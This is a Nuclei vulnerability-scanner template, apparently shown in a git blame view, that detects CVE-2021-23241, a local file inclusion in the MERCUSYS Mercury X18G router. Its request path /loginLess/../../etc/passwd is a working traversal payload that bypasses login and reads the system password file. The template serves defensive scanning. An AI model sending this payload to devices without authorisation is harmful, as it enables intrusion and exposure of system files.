nuclei-templates/http/cves/2021/CVE-2021-23241.yaml

44 lines
1.6 KiB
YAML
Raw Normal View History

2021-07-20 08:52:10 +00:00
id: CVE-2021-23241
info:
name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
2021-07-20 08:52:10 +00:00
author: daffainfo
severity: medium
description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
reference:
2021-07-20 08:55:37 +00:00
- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
- https://www.mercusys.com/en/
- https://www.mercurycom.com.cn/product-521-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-23241
cwe-id: CWE-22
2023-10-14 11:27:55 +00:00
epss-score: 0.00365
epss-percentile: 0.69381
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: mercusys
product: mercury_x18g_firmware
tags: cve,cve2021,iot,lfi,router
2021-07-20 08:52:10 +00:00
http:
2021-07-20 08:52:10 +00:00
- method: GET
path:
- "{{BaseURL}}/loginLess/../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
2023-07-11 19:49:27 +00:00
part: body
2021-07-20 08:52:10 +00:00
regex:
- "root:.*:0:0:"
2021-07-20 10:30:00 +00:00
2021-07-20 08:52:10 +00:00
- type: status
status:
- 200
# digest: 490a004630440220771ca214be08adb65e3e8d5cb89872180b442cb6bf42737f60f0f772e80c081902206e5d4ae2fede10e167dbad540bf87bfa7e8e1772d4bfa1a2d9ad47b45b817c3c:922c64590222798bb761d5b6d8e72950